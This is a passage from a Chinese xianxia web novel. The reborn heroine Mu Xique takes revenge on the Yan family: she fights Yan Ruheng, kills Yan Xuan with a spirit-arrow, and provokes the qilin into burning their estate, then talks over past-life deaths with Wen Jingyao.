“有仇。”慕夕阙眼也不眨说道。 越疏棠被呛了一下,又道:“我们影杀执行任务都知道提前摸好对方的底细和防守,就算出了意外也得做好撤退的计划,你可有安排?” 慕夕阙看着她:“自是有啊。” 影杀教给越疏棠的东西,自然也教过慕夕阙,若她不是要复仇,当个杀手应当也是佼佼之列。 越疏棠又道:“那为何要现在杀?” 慕夕阙收回目光,看着前方被灵舟划开的云雾,沉声道:“现在便是最好的时机。” 趁现在燕家乱成一遭,慕家尚未出事,才是最好的时机- 燕家之变来得格外突然,燕如珩刚进赤敛主城,门外等候的几个长老忙迎上来。 燕煊道:“少主,今日宗祠里供奉的麒麟神像忽然动乱不止,不止燕家,整个主城所有供奉的麒麟神像都有异样,山巅发生山崩,似乎麒麟有动作。” 燕如珩连燕家主宅都未进,匆匆往山里走,刚进山里便感知到地面在晃动,他低头冷眼看着,仿佛能穿过层层岩石看到栖息在山里的麒麟。 燕煊说道:“麒麟好像要出山。” 玉灵出山,则山崩,便是它要抛弃自己庇护的家族和城池,离开另寻栖息地。 玉灵离开,天灾不断,人祸难平,百姓们也会逐渐迁移,这座城便会没落,镇守城内的燕家自然也不再是名门望族。 燕如珩反而气笑了,他咧嘴一笑,露出霜白的齿。 “竟然要出山,它想干什么呢?” 燕如珩抬眸,冷眼朝山里走,越往里便越是能觉察出地面的晃动,两侧不断有碎石落下,直到他走到山巅,原先那一块突出的山头已经崩裂,乱石全数掉进山谷。 他站在随时会崩裂的山巅,负手垂眸看向山谷,听到类似野兽咆哮的声音。 燕煊道:“麒麟是忽然躁乱的,似乎受到了刺激,但它这些年虚弱不少,那位帮咱们提前布下了禁制,短时间内它应当冲不出来。” “短时间,那就是还有机会了?”燕如珩冷声道,“在这里守着,我去找他。” 他转身往山下走,所有一同前来的弟子长老皆留在山顶加强禁制,而燕如珩孤身走在山路上,晃动的地表却并未让他有半分不稳。 他负手而立,脸色冷沉,一缕月色穿透枝叶照在脸上,打出斑驳的影子,竟将这个貌若谪仙的人衬出了几分鬼意。 他走至半山腰,忽然,脚步停下。 燕如珩当即侧身,一根灵力凝成的利箭划破虚空,带着簌簌声响,所过之处燃出金色的灵火,锐利的箭首裹挟了利风,撞击到燕如珩挥出的灵力屏障上,以骇然之势旋转,竟直接刺穿了他的罡罩。 燕如珩迅速躲身闪过,灵箭以擦肩而过之距,在他的左臂上划出深可见骨的痕迹。 他抬眸看去,高有百尺的古树之上,一人悬空而立,高束的马尾被冷风扬起胡乱飘舞,那双轮廓普通的眼睛里是凝成冰霜的冷意。 她抬手搭弓,一手握住那柄用灵力凝出的弓身,加注的灵力落在弦上,另一手拉弦,灵力凝化为一支金色的灵箭。 箭身离弦,直奔燕如珩而去。 作者有话说:之前燕如珩说想抹去小慕的记忆,就是打着用这个毒,但放心,两个人上辈子纯是仇人,燕如珩没得逞。 第58章 第 58 章 火烧 她是忽然出现的, 燕如珩甚至并未觉察出她的气息,这人练气屏息的功夫炉火纯青。 甚至一句话不多说,第二支利箭离弦, 眨眼便到了身前。 燕如珩反手祭出长剑,箭头撞击在那柄昂贵的长剑剑身之上, 火花喷溅, 而他竟被一支箭的猛力撞到站不稳,脚步退后几寸。 虚空中的女子纵身跃下,拔出腰间长剑朝他劈来。 燕如珩不管不顾, 单手用力一挥,将灵箭挥向一旁,金色的箭插在地面上, 裂痕爬满地面, 随后轰然一声, 泥地塌陷。 而慕夕阙的剑也已逼至身前, 重重砍在他的剑身上。 寒剑倒映出那双凛冽的眼眸, 如玄冰淬铁,两柄剑相撞的刹那,宛如千斤重的铁锤砸来, 而她旋身借机,用另一手横掌拍在他的肩头。 燕如珩退后十几丈远, 他站稳后垂眸看向自己执剑的手, 手腕发麻,肩头骨裂了两块。 他冷眼看过去, 那女子竟然半分不停,再次瞬移逼上前来。 心知她想杀他,燕如珩冷着脸, 也不多说废话,横剑上前,两人从半山腰一路往下打。 期间麒麟持续动荡,碎石隔三差五便会滚落,地表撼动,打架的难度更是重中加重,这人用了一手燕如珩从未见过的招式,不仅如此,甚至还熟知燕家的功法。 不多时,燕如珩那身整洁的白衣便被血染脏,脸色愈发苍白,抬剑的手逐渐无力,也抵不过她招招式式往死里打的做派。 在又一次被她的剑捅穿后,燕如珩眉头紧皱,捂着肩头呕出一口血,而慕夕阙找准时机。 她引灵入剑,金光滚滚如龙鳞,凝出这致命一击,宛如一条龙影冲去—— 这道剑光应当将燕如珩拦腰斩断,却撞击在他身前,被一道青光挡住,青光化为麒麟兽影,扬天咆哮一声,一口吞下她斩来的剑光。 麒麟兽影碎裂,迸发的威压将慕夕阙撞出几十丈远,砸断了十几根古树,重重撞在石壁之上,她呕出一口血。 他竟然还有半枚麒麟的鳞甲护体。 余光瞧见那抹白影冲下山,而在山下守着的燕家死士* 们在打斗刚开始时便收到了燕如珩的传信。 此刻山头的一部分弟子也在燕煊的带领下下山,山下的死士上山,双方夹击,燕如珩则趁乱离开。 慕夕阙冷着脸,提剑迎上朝她逼来的数百人。 山脚下,越疏棠和迟笙躲在一边,刚见山脚下一道道黑影上山,便知晓应是去围杀慕夕阙了,而没过多久,燕如珩便捂着胸口出了山。 这太奇怪了,以慕夕阙的修为解决鹤阶长老都只是一刻钟的功夫,对上一个燕如珩,为何会没杀了他? 迟笙皱眉,拔剑便要追上。 越疏棠按住她:“不可插手十三州的事情。” 迟笙皱眉:“可慕二小姐不是要杀燕如珩吗,又岂能让他活着——” 越疏棠冷声道:“如今你我没有证据证明燕如珩做了什么恶,这是慕二和他的私仇,影杀不得插手。” 迟笙只能将剑收了回去,仰头看向半山腰:“那慕二小姐一个人怎么解决这么多弟子?” 越疏棠犹豫,她追着慕夕阙走只是因为她的身份存疑,竟会海外仙岛的东西,想必也能查到当年父亲的事,却并未想过帮助慕夕阙,不乱管十三州的事情是影杀的规矩,因此她并未和慕夕阙一同上山。 但…… 若是慕夕阙死了,那些事又该怎么查? 越疏棠眉心紧拧,咬紧牙关,末了做了决定:“阿笙,你守在这里,我上去看——” 话还未说完,山路上一道青影闪过,他的速度格外快,利风划过,只是眨眼的功夫,少年已瞬移冲上山路,直奔半山腰而去。 越疏棠紧拧的眉心忽然松了:“不必去了,他来了。” 速度还挺快,只比她们晚了不到两刻钟。 而半山腰,慕夕阙已收割了半数人的性命,黑影穿梭在林间,身后一柄长刀朝她劈来,她面无表情回头,正要横剑挡回。 青剑从一旁飞来,一剑挡住砍向她的长刀,将那柄刀调转方向,一刀割了那个偷袭死士的喉咙。 慕夕阙回头去看,闻惊遥不知从哪里捞了个面具,挺丑的,像是吓唬小孩用的。 他遮住这张脸,但那双眼睛里的干净纯粹是整个十三州都鲜少有人能拥有的,慕夕阙可以轻易认出他的眼睛。 闻惊遥看她一眼,收回长剑绕至她身后,两人脊背相靠,冷眼看向朝他们逼来的几百人。 弟子们横刀相对,自动散开,人群中走出一人,穿着燕家独有的勾金白衣,端的是缥缈的仙人之资。 燕煊走过来,看到尽头的两人后沉声问:“两位与燕家有何愁何怨,要来独闯燕家?” 慕夕阙盯着燕煊的脸,握剑的手用力攥紧,骨节捏得嘎嘣响。 ——丧家之犬,你当你还是那个高高在上的慕二?竟还敢嫌弃我们燕家,待这毒素彻底啃噬你的神魂,日后二小姐的修为会被废掉,便只能住在这宅院里,当一个什么都不知道的少主夫人。 ——对了,二小姐,慕大小姐的骨灰已被当众扬了,您那位挚友的尸身也被一把火烧了干净,你不必想着敛尸了,跟鹤阶作对,下场便是如此。 慕从晚和随泱死后,尸身都被一把火烧了,鹤阶当着十三州众人的面扬灰,杀鸡儆猴,敢跟鹤阶作对,下场便是如此。 “你去吧,这里我来处理。”身后清洌的少年音压低,用仅能两人听到的声音说话。 慕夕阙冷声道:“我得先杀了他。” 她一句话不再多说,身影化为流光,冲进围杀的人群中,所过之处剑光伴着泼洒的血迹,而慕夕阙所去之处,是燕煊的位置。 闻惊遥也紧随其后,并未用闻家剑法,而是用了自己曾经看过的其余剑术,他过目不忘,识多才广,纵使不如本家剑法熟练,但已逼至化神境的修为也不是这些死士和弟子们能应付的。 燕煊惊惧后退,看那黑衣女子跟杀疯了一样直奔他而来。 他心跳慌乱,转身离开,疾步匆匆,打算先回燕家。 而闻惊遥朝慕夕阙冲来,抬起手臂,慕夕阙并未看他一眼,却知道他的意思,她纵身踩上闻惊遥的手臂,他借力将她送上百丈高空,躲开四面八方围攻来的燕家守卫。 慕夕阙跃上高空,攀住树杈旋身上树,踩着粗壮的枝干,树下凡是想要上树砍杀她的弟子皆被闻惊遥拦下,而她独身站在树上。 金色灵力凝化为一把弯弓,她抬手搭弓,随着拉弦的动作,一支金色羽箭凝实,而慕夕阙盯着那个只顾下山的背影。 燕煊,当年在那艘灵舟上谋戮慕峥,后来又助燕如珩囚禁她。 金箭离弦,划破虚空,箭头在虚空旋转扭曲。 燕煊觉察到危险,回身去看,只见虚空中一道厉然的灵火朝他奔来,随后一支长箭穿心而过,带出的灵火将他的衣衫燃起。 他愕然看着远处的古树之上纤细的黑影,对上那双冷如寒冰的眼眸。 尸身轰然倒地,被烈火吞噬。 慕夕阙并未看闻惊遥一眼,纵身跃下,在他的护卫下杀出重围,直奔主城城心而去。 她从未回头,也永远不会回头,闻惊遥的余光看到她毫不留情离开的背影,她奔向她要去的地方,去进行她的计划,不与他说,也不会为他停下。 闻惊遥侧身避开一柄砍下的利刃,他孤身站在古树前,看着身前乌泱泱的燕家守卫。 那些人的眼睛里并未有对死亡的畏惧,好似习惯了这些,这都是燕如珩豢养的死士。 闻惊遥问:“修士的每一刃应当铲奸除恶,做这些事,不怕业报?” 他听到许多声轻笑,似乎在笑他死到临头、重兵围困还在天真问这些毫无意义的话。 有人抬手指天:“我十一岁手上就有百条人命,哪里有业报呢?” 闻惊遥沉默,长睫半敛,看着自己的右手中那柄青剑,剑身上仍有修补后的痕迹,血水浸透了每一处沟壑。 是啊,这世上怎么会有业报呢,他前世鬼迷心窍般做了那些事,天雷也没劈到他头上。 天不给的业报,只能人来给。 那个说话的死士还在笑,忽然间,眼前逼上个人影,他刚回身,一柄利剑划破了他的喉咙。 闻惊遥淡淡看他一眼,用手中那柄碎过又重新修补的青剑,收割了他的性命。 山脚之下。 见慕夕阙冲出山,在山脚躲藏的越疏棠和迟笙迅速跟上。 慕夕阙没有说话,一路瞬移,速度极快,迟笙渐渐跟不上,落后一大截,而越疏棠则咬牙追着她。 “慕二,你到底要去做什么,你说自己有后路,你的后路呢?” 慕夕阙冷眼看着前方,头也不回说道:“我知道影杀不插手十三州的恩怨,在这里等我便好。” “既不要我帮忙,你又为何要允我和阿笙跟上?” “只是让你看看。”冷风扬起慕夕阙的鬓发,露出张轮廓陌生的侧脸,她身上有太多谜团,这易容术也同样如此。 “让你看看,你若想保护一个人,应该怎么护?” 越疏棠一愣,而慕夕阙再次提气,冲出百丈远,将她和迟笙远远甩在身后- 燕如珩走进燕家主宅,脚步踉跄,血滴了一路。 有弟子快速奔来搀扶住他:“少主!” 燕如珩一把推开弟子,冷声道:“传信给鹤阶,速来赤敛。” 他踉踉跄跄朝里走,边走边塞灵丹止血,面色沉冷,面不改色纠回自己脱臼的胳膊,像是无痛觉般耸了耸肩。 那双眼睛,那道黑影,是慕夕阙吗? 那个人告诉他,闻时烨等人都是慕夕阙杀的,燕如珩对此始终秉着半信半疑,以鹤阶那些人的阴险,或许是鹤阶要挑拨他与慕夕阙的关系,又或许是对的。 可慕夕阙分明从未去过海外仙岛,她更不会阵术、易容术以及影杀的手段,未曾亲眼见到,燕如珩的谨慎无法让他信任慕夕阙,也无法让他信任鹤阶。 燕如珩站定,垂下的手攥紧,身后追来的弟子见他这副模样,都悄悄站远了些,不敢上前问,也不敢动,少主脾气阴阳不定,恐殃及自身。 “为什么呢……到底为什么呢?” 燕如珩自言自语,他只是想不明白,自打在莲衣阁和慕夕阙见面后,她的态度便不冷不热,虚伪居多,以前她分明对他信任有加,他是她为数不多的挚友之一。 到底是为何? 恍惚间,他想到什么,脸色一冷。 “她发现了?”燕如珩低声喃喃。 慕夕阙发现当年慕峥出事的灵舟上有他吗? 身上的伤刺痛,那个女子下手没有半分留情,几乎将他的骨头劈碎,此刻伤口又在隐隐泛痛,燕如珩抬步就走,朝主殿直奔。 他推开殿门,解开衣服,脊背上一道横亘劈下的伤皮开肉绽,险些砍断他的脊骨,一名燕家医修走进来。 燕如珩冷声道:“快速上药,待会儿我有要事。” “是。”医修翻开药箱,动作熟练。 可燕如珩的伤只处理到一半,门外便传来弟子匆忙的通传。 “少主!内城外聚集了不少百姓,麒麟动荡引得民心惶惶,不知谁起的头,百姓要咱们给个说法!” 燕如珩搭在膝上的手攥紧,怕什么来什么,麒麟动荡他们尚能撑一会儿,等鹤阶前来彻底镇压,但因麒麟要出山引起的人心动荡才难以对付。 燕如珩博览群书,也自是知道治宗之道,得民心者得天下,一座城不是靠赤敛燕家撑起来的,而是靠着赤敛盈千累万的百姓们托举。 他抬手挡住医修:“不必了,你出去。” 医修拱手退离,留下一瓶上好的丹药,而燕如珩并未吃药,换了身洁净的白衣,推门而出。 燕家半数弟子都追在他身后,一时之间,主宅内只剩半数人留守。 交错的屋檐上,一人身影快速闪过。 赤敛主城内城边缘聚集了乌泱泱的百姓们,有些手抱稚童,有些捧着麒麟神像,外三城的百姓多是些家境普通的平民,内三城的贵胄们并不会明面掺和这些斗乱,而是在背后观局。 燕如珩刚出现在众人眼中,有百姓立刻举起麒麟神像:“少主,我家供奉的麒麟神像今日忽然动荡不止,我们还听到疑似麒麟咆哮的声音!” “我家的也是,今个儿下午便一直鸣响!” “我家也是如此!” 并非所有百姓都会供奉玉灵神像,一尊神像要用上好的木头雕刻出来,并由燕家授灵,非寻常百姓能负担起的。 因此许多人参拜的是城心的祠庙,那里有尊竖立了万年的麒麟神像。 燕如珩站至高台,眉目清俊,温文儒雅,温声道:“请诸位稍安勿躁,麒麟并非要出山,是有贼人闯入了山。” 百姓之中,一个头戴布巾的人道:“可是少主,赤敛的结界玉灵近些年确实虚弱了,您方才也说是有贼人闯进山了,那是麒麟居住的地方,外人怎能轻易闯入?” 燕如珩唇角扔挂着温笑:“只是近些年麒麟沉睡罢了,何况赤敛并未有灾祸,燕家便未全数打开结界玉灵。” “人祸是没有,天灾却有。”一个身着麻裙的女子大步上前,指着天说道,“连续三年收成锐减,虫灾不断,种下的粮食大半都被虫子啃了!去年年底一场暴雪下了一月,地都冻上了!” “是啊,少主,这些年来又是洪水又是雪灾,我们小百姓一年就指着这块地了,如今都快养不起家了!” “若麒麟真如过去那般强盛,又怎会天灾不断?” 不是所有城池都会全数打开结界玉灵,结界玉灵更像是一种防御的手段,若有邪祟进城、或是敌人攻城才会全数打开。 但玉灵只要在山里,它周身的福泽之气便会抵御天灾,保岁丰年稔,谷物丰收,守护大多百姓们赖以生存的土地和庄稼。 “少主,麒麟它到底如何?” 许多人在问,这些人愤懑的神情以及恐慌的眼神,和声声有力的讨问,落在燕如珩眼里,他本就不多的耐心愈发少,只觉得聒噪烦嚣。 若非要撑着面子,谁敢指着他的脸问这些,下一刻他的剑便会枭了那个人的脑袋。 一旁的燕家弟子小声道:“少主,您得说几句。” 燕如珩闭上眼,忍住心中的杀意和不耐烦,他睁开眼,仍端着温和的笑。 “麒麟无恙,不知各位有人听说前些时日的东浔之难吗?” 百姓们忽然安静下来。 闻惊遥夺得天罡篆那日,对着天镜说了这些事,东浔遭几十只祟种攻城,这便意味着秽毒现世,祟种重回十三州。 燕如珩又道:“秽毒早已出现在十三州,祟种也不止那些,玉灵与祟种水火不容,麒麟觉察出祟气有异样自是正常。” “可是——” 燕如珩打断,眸色冷了些:“前些时日赤敛城外也有一只祟种出没。” 这话一出,人群喧嚣,皆都无法冷静。 燕如珩看那些百姓恐慌的神情,心下想笑,却又得端出一副姿态。 “不过诸位放心,燕家已经派人去镇压,麒麟也是觉察出祟种气息才异样的。” 有人迟疑,仍是不信:“可是近些年来的天灾也确实频发,往年也没有这般过。” 真是不依不饶,令人厌恶。 燕如珩背在身后的手攥紧,仍端着笑:“玉灵也并非所有天灾都能抵御,燕家这些年行善积德、广济天下,麒麟定会庇佑我们,庇佑赤敛的。” 他上前一步,离台下的百姓近了些,抬手接过一个百姓怀中的麒麟神像,用洁净的衣袖擦去神像上隐约的浮尘。 燕如珩低声道:“我们信仰玉灵,我们在守护玉灵,我们并未徒造业障,麒麟又怎么会出山,它一定会在那座山里,守护我们千千万万年。” 许是燕如珩的话太过真诚,他的神情也过于诚恳,方才还闹哄哄的百姓们竟真的渐渐安静下来。 燕如珩又道:“天灾近些年确实频发,百姓们受苦了,燕家也有意赈灾,明日我会让燕家开家库,每家每户按人头算,一人三金,诸位觉得如何?” 三金是寻常百姓劳作几年才能赚来的。 此话一出,百姓们欣喜,只觉是自己错怪了燕家。 有人立马拱手:“多谢少主!” “多谢少主!” 燕如珩抬手,制止这些百姓的跪拜行礼,他长身玉立站在高台,望向这些百姓,目光温和:“诸位也是忧心麒麟罢了,它并未要出山,赤敛燕家身为契约者,从未对神灵有半分不敬,从未作恶——” 话还未说完,人群中有人几颤着声音道:“走……走……走水了!” 宛如一颗石子投入平静的水面,掀起洪波。 众人看去,之间十几条街道外,冲天的火球从天而降,砸向赤敛燕家主宅。 那不像是寻常的火球,它从东南方向落下,火焰呈现暗青色,又夹杂了纯粹的鎏金火焰,它瑰丽明亮,像是一个凝结了多数色彩的漩涡,在虚空中划破利风。 火光滔天。 流火从天而降,来自的方向是—— 那座山,麒麟居住的地方。 咆哮声甚至传扬千里,那座山也在晃动,而他们手中的麒麟神像再次嗡鸣。 不知谁先高呼:“麒麟——麒麟发怒了!” “麒麟要攻燕家主宅,麒麟发怒了!” “是麒麟,是麒麟在吼叫!麒麟在生燕家的气!” 百姓们一半跪倒在地,面朝朝暮山的方向,他们捧着麒麟神像,虔诚跪拜,恳请麒麟消气。 仍站立的百姓看向燕家人,瞳仁惊惧。 “你们……你们竟然惹麒麟生气,它真的要出山!” “麒麟若是出山,赤敛便完了!来年雪灾旱灾不断,我们如何活下去!” “燕家人到底做了什么,你们对麒麟做了什么!” 燕如珩垂下的手攥紧,骨节泛白,看向已燃起熊熊大火的燕家主宅,精美奢华的楼阁被流火摧毁,冲天的火焰将整座主城照得宛如白昼,映出一双双恐惧的眼睛。 无人敢再看戏,皆都冲出家门,巷道里跪满了人,他们面朝山头,妄图用自己虔诚的心留下麒麟,恳请它不要抛弃这座城池。 一家犯罪,却要千千万万个家共同承担。 燕如珩咬牙切齿对身后的弟子道:“给我回去,给我滚回燕家!” 他早已神智全无,燕家主宅内燃起的大火落在眼里,他清楚这烧得不仅是燕家的房舍,更是这些百姓对燕家的信任。 燕如珩跃下高台,朝主宅奔去。 慕夕阙站至十层高的顶楼,抬手搭弓,冷然挽弦,盯着那道奔走在街道内的白影。 一手松开,金箭离弦。 燕如珩听到急促的唳鸣声,他用尽所有灵力结出罡罩,侧身想躲,而那支金箭却并未再擦肩而过,纵使偏了一寸,却仍穿透了他的身体。 它穿透他的左胸,带出的灵火烧断了他半数心脉,将他砸出百丈远,砸碎了一面石墙,倒塌的石块全数落在他身上,掩埋了这个整洁的燕家少主。 “少主!” 紧随其后的燕家弟子们快速奔去,搬砖刨瓦。 “啧。”慕夕阙皱眉,抬手化去弯弓。 偏了一寸,燕如珩还是有点本事的。 不过这一箭,不死也重伤。 慕夕阙看向远处的燕家主宅,烈火吞噬了整个宅院,麒麟一怒,便是这些弟子绞尽脑汁想去救火,也只能眼睁睁看燕家被火吞噬。 楼阁飞檐,水榭亭台,过去扬名十三州的燕家主宅,就如同上辈子的慕家一般,被一场大火吞噬,毫无反抗之力。 这些弟子灭不掉的,不是火,而是麒麟的怒意。 “看到了吗?”慕夕阙淡声问。 迟笙和越疏棠垂下的手在抖。 越疏棠看着远处燃烧的火,又看向身前不远处的黑衣少女:“你……你让我看的就是这些?” 慕夕阙转身,身上的伤还在滴血,她却毫无反应,只道:“摧毁燕家主宅的并非我,而是他们这些年的恶,你觉得我心狠是吗,我也只是想告诉你,你要守住什么人,就得绞尽脑汁想尽办法去守,不惜任何代价,即使赌上命。” 越疏棠怔愣:“为何要我看这些?” 慕夕阙没回答,而是看了眼她身旁的迟笙,那小姑娘似乎被吓到,怔怔看着远处的火焰,火光倒影在她的瞳孔中。 迟笙还未死,越疏棠也没颓废成那副模样,她一个人的重生,或许可以救下无数亲人朋友。 高楼之下,闻惊遥仰头望向顶楼的黑衣少女,她站在屋顶之上,黑衣被冷风吹得猎猎作响,及腰的青丝束成干练的马尾,也随之一同舞动。 身旁来了个人,随泱笑嘻嘻道:“闻少主竟也追来了,你这一身的伤,刚打完架?” 闻惊遥仍看着高处的人,他问道:“夕阙托你去惊动麒麟?” 一说起这个,随泱也不解:“对啊,我一开始还以为她说笑呢,结果真的如她所言,用她的法子果然惊动了麒麟,麒麟知晓了燕家如今做的事情,它要出山。” 他说到这里,音量略高:“你猜怎么着?这些人方才还大言不惭妄图镇压麒麟,惹得麒麟暴怒,麒麟可不是玄武,性情没那般温和,慕二小姐说它可是属火的,你越是压制它,它越是要冲出来,一定会对燕家出手。” “说起来也奇怪,慕二小姐似乎知道许多事情,竟能猜中麒麟会火烧燕家。” 它烧了整个燕家主宅。 闻惊遥看着高处的慕夕阙,而慕夕阙也垂眸看向他和随泱。 只一眼,慕夕阙便收回目光,望向远处的燕家主宅。 几层高的楼阁倒塌,正门悬挂的“燕”字匾额也在大火侵蚀下摇摇欲坠,一阵风吹过,再也坚持不住,重重砸落在地。 火焰在咆哮,麒麟的火也有灵性,它要烧燕家,便只烧燕家。 慕夕阙看着那团火,看着那些跪倒在街道内的百姓们。 她要做的只是杀了燕如珩吗? 不,她要烧了整个燕家,摧毁燕家的名望,揭开燕家丑恶的嘴脸,让这个绵延万年的高门望族彻底倒塌,让他们失去赤敛百姓的信任。 从始至终,百姓们信仰的便是玉灵,而非执掌这座城的家族。 他们信的是燕家背后的麒麟。 作者有话说:小慕怎么惊动麒麟的,下一章就写啦,跟上一辈子有关系,烧毁燕家主宅的是他们这些年做的恶,杀的人,玉灵都是好的! 小慕必须得在去祭墟前铲除燕家,这就是最好的时机~ 第59章 第 59 章 “夕阙,你就将我扯下去…… 赶在鹤阶来之前, 慕夕阙转身出了赤敛主城。 几人与鹤阶的人擦肩而过。 一艘灵舟从赤敛主城外拔地腾飞,慕夕阙站在甲板之上,望向城中中心那团炽灼的火焰, 随着灵舟逐渐远离,那团火慢慢缩小, 直到凝聚为一点星光, 消失在视野之中。 “夕阙。”闻惊遥并未回船舱内,而是站在她身侧,他的重伤还未完全愈合, 如今又添了些伤,脸色煞白,却仍撑着不肯休息。 “你如何知晓麒麟会对燕家出手的?” 玉灵大多性情温和, 从未有过攻击自己庇护的子民一事, 即使家族仗着它的庇护作恶, 大多玉灵也只会选择出山, 另寻栖息地。 只要玉灵在, 百姓便会逐渐迁移向有玉灵的地方,一个旧的城池没落,便会出现新的城池。 可麒麟今日火烧了燕家。 慕夕阙侧眸看他:“你不知道我如何能全身而退, 还敢追来?” 闻惊遥确实不知道,他知晓她要在去祭墟前处理燕家, 兴许是燕家会对慕家造成威胁, 却不知她为何敢孤身闯入赤敛,又该怎么全身而退? “我信你, 你不是冲动的人。”闻惊遥道。 他专注看着她,目光仍是纯粹的,却又不像过去那般收敛, 东浔事变后,闻惊遥心境变了不少,慕夕阙自是能感知到。 她别过头,并未再看他:“上一辈子我死前一月,赤敛燕家遭十六只祟种夜袭,就是因为麒麟忽然对燕家主宅动手,整个主宅都烧了,燕如珩那时已是家主,听说燕家因此重创,而祟种趁机攻入燕家。” 闻惊遥沉默,半晌,哑着嗓子开口:“之后呢?” “我当时被关在云川,看守我的狱卒告诉我的,有人闯入朝暮山,削了山头,惊醒了沉睡的麒麟,将燕家所作所为一五一十全部告知,众多玉灵中,麒麟性情刚烈,在觉察出燕家一直在屏蔽它对外界的感知后便发了火,将燕家主宅烧毁。” 赤敛麒麟就如淞溪的金龙一般,性烈刚强,万年前祟种攻城,麒麟是直接一把火烧了整座城池,横冲直撞,虽剿灭祟种,但赤敛也险些因此毁城。 闻惊遥低声说:“山头有禁制,可以屏蔽玉灵对城内的感知,所以你托随泱前辈劈碎了山头,他是化神境,全力一试可以做到。” “嗯,削了山头就行,麒麟就会惊醒。”赤敛主城已彻底瞧不清,慕夕阙转过身,背靠护栏。 闻惊遥垂眸看着她,问道:“接下来麒麟会怎么做?” 慕夕阙耸了耸肩:“如你所见,鹤阶已赶去,想必会再次镇压麒麟,你我如今的实力没办法跟那个人正面硬刚,他能镇压玉灵,也确实让我震惊。” 那可是玉灵,是神兽,强大到可以撑起一方城池的存在,一个没有飞升的修士,竟然能凭一己之力镇压玉灵。 闻惊遥也靠在护栏上,两人的肩膀挨着彼此,他低头看着甲板,却又像目无焦点般。 “夕阙,你要救麒麟和玄武吗?” 慕夕阙没说话。 闻惊遥却知道她的意思:“好,我和你一起。” 今晚的风都冷了不少,船舱内尚有人在说话,是随泱和越疏棠她们。 闻惊遥看向透光的船舱,轻声问道:“那两位姑娘是你在海外仙岛认识的吗?” 慕夕阙拧眉:“你怎么知道?” 闻惊遥道:“她们的穿衣打扮不像十三州的人,你看她们的眼神也没有戒备,你很信任她们,尤其是那位紫衣姑娘。” 慕夕阙信任的人不多,便是慕家的人都不一定完全信任,可她信任师盈虚,信任随泱,也信任越疏棠,前世的交情并未随着重活一世而消失,或许正是那些年的孤苦,让她看透了人心,明白应该信谁。 但显然,闻惊遥并不在她信任的范畴内,她对他始终存着戒备,难以交心。 慕夕阙笑了声,并未说话。 闻惊遥侧首看她:“那两位姑娘最后如何了?” “都死了。”慕夕阙道。 轻飘飘三个字,是两条人命。 她好像已经习惯了死亡和失去,无论是说到自己,还是提及旁人,脸色都是沉静的,无波无澜。 闻惊遥无意识攥紧手,听到自己问:“怎么死的?” 慕夕阙也并未回避,淡声道:“迟笙去救人,死于海兽口中,越疏棠自此萎靡不振,疯狂接任务麻痹自己,最后死在一场任务中。” 她顿了下,眉心微蹙。 迟笙现如今应当十五岁,她是十六岁死的,那就是还有一年,可慕夕阙不知她们如今来了十三州,海外仙岛那场事故还是否会发生? 他们站在甲板上,灵舟飞得越高,夜风便越是森寒,吹动两人的衣裳,闻惊遥每呼吸一口,都觉得寒风在切割肺腑。 他压住喉口的血,温声问她:“还有谁死了,夕阙?” “挺多人的。”慕夕阙声音轻了些,“这世道是很肮脏,但也有些人仍在坚持正道,他们因我而死,我却并未帮他们报仇。” 年少的挚友对她落井下石,使尽鬼蜮伎俩。 一些关系不算亲近,甚至认识不久的朋友,却愿意冒着生命危险拉她一把,给予力所能及的帮助,即使为她死了,也并未有怨言。 修士伏节死义,无怨无悔。 慕夕阙转身,看向西南侧,那里是祭墟所在的方位,而云川牢狱距离祭墟不足千尺,常年森寒,不见天光。 “还有一个狱卒因我而死,那十年是他在照顾我,如今我却不能去见他。” 若让鹤阶知晓她去见一个狱卒,对那位狱卒老者是杀身之祸。 迎着风,慕夕阙的声音格外轻:“他姓陈,我只知道他姓陈。” 相处十年,她不知他的名字,不知他是哪里人,不知他究竟多少岁,家里还有几口人,甚至不知那位老者为何总说她救过他。 慕夕阙救过太多人,早已忘记他是谁。 可那位狱卒却始终坚定对她说—— “您救过我的,慕二小姐,您救过我。” 连慕夕阙都忘记的救命之恩,最后那狱卒却为她舍了自己的命。 慕夕阙转身,并未看闻惊遥一眼,回到船舱内,将他一人留在甲板上。 不大的船舱里传来交谈,其中夹杂了她说话的声音,闻惊遥低下头,不知是伤重,还是今夜确实冷,他只觉得从肺腑内传来的寒意沿着四通八达的经脉,游走在全身,几乎将他的血液冻上,冷得他连呼气都像是在刀割喉管。 闻惊遥捂住嘴,止住呕出的一口淤血,低低咳嗽起来。 有那么多人帮过她,他怎么就能狠心置她不顾呢?- 灵舟落在东浔闻家主宅外,随泱和闻惊遥率先下舟,慕夕阙坐在船舱内。 越疏棠将迟笙也送下了舟,她端身正坐,看着慕夕阙。 “慕二小姐,我有些事要和你谈。” 慕夕阙直接道:“你不用管我怎么会影杀的手段,我只告诉你,你信任的阁主如今看来并不清白,你得提防他。” 越疏棠红唇微抿,与慕夕阙双目相对,并未从她眼中看出半分忽悠的意思。 “此次影杀来十三州的人不少,应该不止这些,我甚至觉得,阁主应当也来了。”越疏棠顿了下,似乎难以启齿,她犹豫不说话,慕夕阙也不催促,安静等她自己开口。 过了会儿,越疏棠道:“阁主于我们越家有恩,是他收留我和父亲,替我们挡下追杀,父亲任务繁忙,阁主教了我很多东西,我实在是不想怀疑他。” 慕夕阙也并未生气或者骂她蠢。 越疏棠是个持正不阿的人,这毫无疑问,慕夕阙与她认识十几年,深知她的脾性,纵使是个为钱接任务的杀手,手上却没有一条无辜者的性命。 她的修为强盛,前世死前甚至已有化神境。 看着越疏棠低下的头,慕夕阙忽然想到什么,眸色一敛:“你们接任务,是自己去接,还是阁主派遣?” 越疏棠抬头看着她:“大多是自己去接,偶尔有阁主派遣一些紧急的任务,这类任务便是密任。” 慕夕阙没再说话,盯着越疏棠看。 前世那个杀害越疏棠的人修为深不可测,连慕夕阙砍杀他都* 废了一番功夫,以越疏棠谨慎的性子,就算是接任务也会提前摸清对方的底细,面对如此劲敌,怎么会孤身前去杀人? 说明她大概来不及摸底细,毫无准备便去了。 若越疏棠的死存疑,那迟笙的死,真的是意外吗? 越疏棠皱眉:“慕二小姐,你在想什么?” “无事,走神了。”慕夕阙起身垂眸看她,“既然知道影杀不清白,他们人多,藏在暗处,不要自己去查你父亲的事,你孤身一人自是有胆,可如今你阿妹跟着你,你也不想她出事吧?” 越疏棠刚准备反驳的话硬生生咽了回去,她张了张嘴,哑口无言。 她孤身一人做什么都敢,可迟笙跟在她身旁,便如同给她套上枷锁,让她每一步都束手束脚。 